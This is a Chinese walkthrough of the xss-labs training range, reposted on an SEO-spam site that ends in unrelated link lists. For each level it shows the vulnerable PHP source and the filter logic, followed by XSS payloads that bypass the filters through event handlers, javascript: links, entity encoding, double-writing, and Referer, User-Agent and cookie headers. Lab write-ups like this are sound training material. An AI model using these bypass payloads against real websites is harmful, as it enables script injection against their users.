当前位置: 首页 > news >正文

做网站需要哪些人员漯河seo推广

做网站需要哪些人员,漯河seo推广,做土特产的网站,北京网站建设多少钱xss-labs下载地址https://github.com/do0dl3/xss-labs 进入靶场点击图片,开始我们的XSS之旅! Less-1 查看源码 代码从 URL 的 GET 参数中取得 "name" 的值,然后输出一个居中的标题,内容是 "欢迎用户" 后面…

xss-labs下载地址https://github.com/do0dl3/xss-labs

进入靶场点击图片,开始我们的XSS之旅!

Less-1

查看源码

代码从 URL 的 GET 参数中取得 "name" 的值,然后输出一个居中的标题,内容是 "欢迎用户" 后面跟上这个值,显示从 GET 参数中获取的 "name" 值的字符数。

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

我们修改一下输入尝试一下,没什么难点

直接上payload

<script>alert(1)</script>

点击确认进入下一关

Less-2(闭合)

我们使用第一关的测试方法尝试一下,打咩


直接看源码,看到,尝试一下闭合

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

看一下这个函数htmlspecialchars

"'><script>alert(1)<%2Fscript><"'

Less-3(onclick onfocus事件绕过)

输入数据,尝试一下输出位置,发现三个位置有输出

直接上源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

这里使用 htmlspecialchars 函数对 $str 进行转义

表单包含一个文本输入框,其 name 属性为 "keyword",value 属性设置为 $str。这里也使用了 htmlspecialchars 函数对 $str 进行转义

我们使用一个onclick事件属性进行一个绕过构造payload

' οnclick='alert(1)

也可以使用onfocus事件进行绕过,构造payload

' οnfοcus='alert(1)

Less-4(onclick onfocus事件绕过闭合)

进入第四关我们依旧尝试之前的语句

' οnclick='alert(1),发现不行

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

改变一下闭合,构造payload

"οnclick="alert(1)

"οnfοcus="alert(1)也行

Less-5(a href 标签绕过)

继续尝试,打咩!

查看源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

$str2 变量通过 str_replace("<script","<scr_ipt",$str); 将字符串中的 <script 替换为 <scr_ipt,这是一种简单的 XSS(跨站脚本攻击)防护手段,用于防止恶意脚本的注入。
$str3 变量通过 str_replace("on","o_n",$str2); 将字符串中的 "on" 替换为 "o_n",这是另一种 XSS 防护手段,用于防止某些事件处理程序的注入。

将script和onclick事件全部过滤,我们需要考虑其他的点击事件,且由于有strtolowers(),所有的大写字母都会被转成小写,我们无法使用Onclick进行payload注入,只能新找一个方法进行xss注入,这里我们用a href标签法

构造payload

"><a href=javascript:alert(1)>111</a>

<input name="keyword"><a href=javascript:alert(1)>111</a><"" value="" o_nclick="alert(1)">

Less-6(大小写绕过)

继续使用第五关的payload

发现我们的a href属性被加了一个_

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

$str2 变量通过 str_replace("<script","<scr_ipt",$str); 将字符串中的 <script 替换为 <scr_ipt,防止恶意脚本的注入。
$str3 变量通过 str_replace("on","o_n",$str2); 将字符串中的 "on" 替换为 "o_n",防止事件处理程序的注入。
$str4 变量通过 str_replace("src","sr_c",$str3); 将字符串中的 "src" 替换为 "sr_c",防止图片或脚本源的篡改。
$str5 变量通过 str_replace("data","da_ta",$str4); 将字符串中的 "data" 替换为 "da_ta",防止某些利用数据属性的攻击。
$str6 变量通过 str_replace("href","hr_ef",$str5); 将字符串中的 "href" 替换为 "hr_ef",防止链接注入攻击。

这么多过滤但是定睛一看可以用大小写替换进行绕过

构造payload

"aaa Onclick="alert(1)

Less-7(双写绕过)

查看源码

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

这些 str_replace() 函数调用将 "script"、"on"、"src"、"data" 和 "href" 字符串从 $str 中删除

使用"><a href=javascript:alert(1)>111</a>进行测试发现script直接被过滤了

我们尝试双写进行绕过

"aaa oonnclick="alert(1)

"aaa oonnfocus="alert(1)

Less-8(unicode编码绕过)

看源码就对了

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

这些 str_replace() 函数调用将 "script"、"on"、"src"、"data" 和 "href" 字符串替换为它们的变体

测试一下

"><a href=javascript:alert(1)>aaa</a><"

发现a href被添加了下划

javascript:alert(1)

使用Unicode编码在线Unicode编码解码 - 码工具

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

Less-9(注释http://绕过)

查看源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

查看源码我们发现if(false===strpos($str7,'http://'))http://被注释掉了我们在之前的语句后加一个http://注释掉//http://

构造payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

Less-10(隐藏的传参)

继续进行尝试

"><script>alert</script>

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这两行代码对 $str11 变量进行字符串替换操作。首先,它移除了 $str11 中所有的 ">" 字符,然后将结果存储在 $str22 中。接着,它移除了 $str22 中所有的 "<" 字符,并将结果存储在 $str33 中首先,输出一个居中的 <h2> 标题,提示用户没有找到和 $str 相关的结果。这里使用htmlspecialchars() 函数来确保 $str 中的特殊字符被正确转义,接着,输出一个表单,其中包含了三个隐藏的输入字段:t_link、t_history 和 t_sort。前两个字段的值都被设置为空字符串,而第三个字段的值被设置为 $str33(即处理过的 $str11)

修改为text

这里是get传参t_sort,并过滤掉了<>号,不能闭合插入标签,但是我们还能用onfocus事件,因为这里输入框被隐藏了,需要添加type="text",构造payload

level10.php?t_sort=" οnfοcus=javascript:alert() type="text"(type谁在前面就用谁)

点击输入框

Less-11(Referer注入)

尝试t_sort=" οnfοcus=javascript:alert() type="text"

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

发现不一样的是用到了一个html的转义函数

回到第十关点击文本框进入第十一关的时候进行抓包

我们更改一下请求头

'"type='text' οnclick='alert(1)'

Less-12(User Agent注入)

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

和上一题差不多抓包构造User Agent的payload

'"type='text' οnclick='alert(1)'

Less-13(cookie注入)

盲猜cookie注入直接抓包

查看源码

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

Less-14(这一关有问题直接十五关)

Less15(ng-include文件包涵)

点击跳转有可能路径不对我们注意一下路径

发现只有一个地方有输入

整个nginclude是啥啊,搜一下

他是可以引入某个html页面那我们就把第一关的页面引入尝试一下

我们使用第一关的漏洞出去,尝试发现不行,应该是有过滤把<script>过滤掉了

对比发现,这里有个html实体化函数在,没有删掉东西,所以不影响我们接下来的操作,我们可以包涵第一关并让第一关弹窗(注意,这里不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要我们手动点击弹窗的),这里我们使用img标签

<img src=1 οnerrοr=alert(1)>'

Less-16(url编码)

测试发现进行了html实体编码

查看源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>

我们将空格的编码替换成回车的编码进行尝试UrlEncode - 在线URL网址编码、解码

替换一下

Less-17(embed标签)

我们尝试闭合src增加属性

构造payload

' οnclick=alert()

Less-18(embed标签)

一样的

Less-19-20(flash技术已经全面停用了就不做了)

http://www.wooajung.com/news/28299.html

相关文章:

  • 网站后台模板免费下载西安网站搭建公司
  • 做网站卖假名牌违法吗常见的网络营销推广方式有哪些
  • 医院网站源码 aspaso优化技巧
  • 天津网站制作公司电话网站建设公司服务
  • 深圳有实力的网站建设服务商百度站长提交网址
  • wordpress 首页加载延迟搜索引擎优化网站
  • 新浪短网址链接生成器2022最好的百度seo
  • 外贸网站建设方法南宁网
  • 获取网站访客qq号北京网站优化快速排名
  • 网站cmd做路由分析成都网站优化
  • 英文网站建设飞猪关键词排名优化
  • 南京网站建设公司哪家好百度一下你就知道搜索
  • 汽车网站策划sem营销推广
  • 北京大兴企业网站建设哪家好中国十大软件外包公司排名
  • 威海做网站哪家好宁波网站建设团队
  • 郑州做旅游网站怎么申请网站空间
  • 广东深圳福田区无锡网站seo顾问
  • 安阳网站制作哪家好seo推广公司哪家好
  • 深圳做营销网站公司上海网站搜索引擎优化
  • 做好的网站怎么发布外贸展示型网站建设公司
  • 做网站开发用sublime好吗公众号运营收费价格表
  • seo搜索引擎优化兴盛优选seo工具包括
  • 网站加入百度地图班级优化大师app
  • 深圳市最繁华的地方在哪里seo自学网app
  • 有哪些网站用java做的yahoo搜索
  • 如何通过查询网站注册时间app投放推广
  • 免费logo设计在线设计成都专业的整站优化
  • wordpress评论点赞关键词优化怎么写
  • 社会信用体系建设双公示网站网页搭建
  • 北京新闻网站网络推广员招聘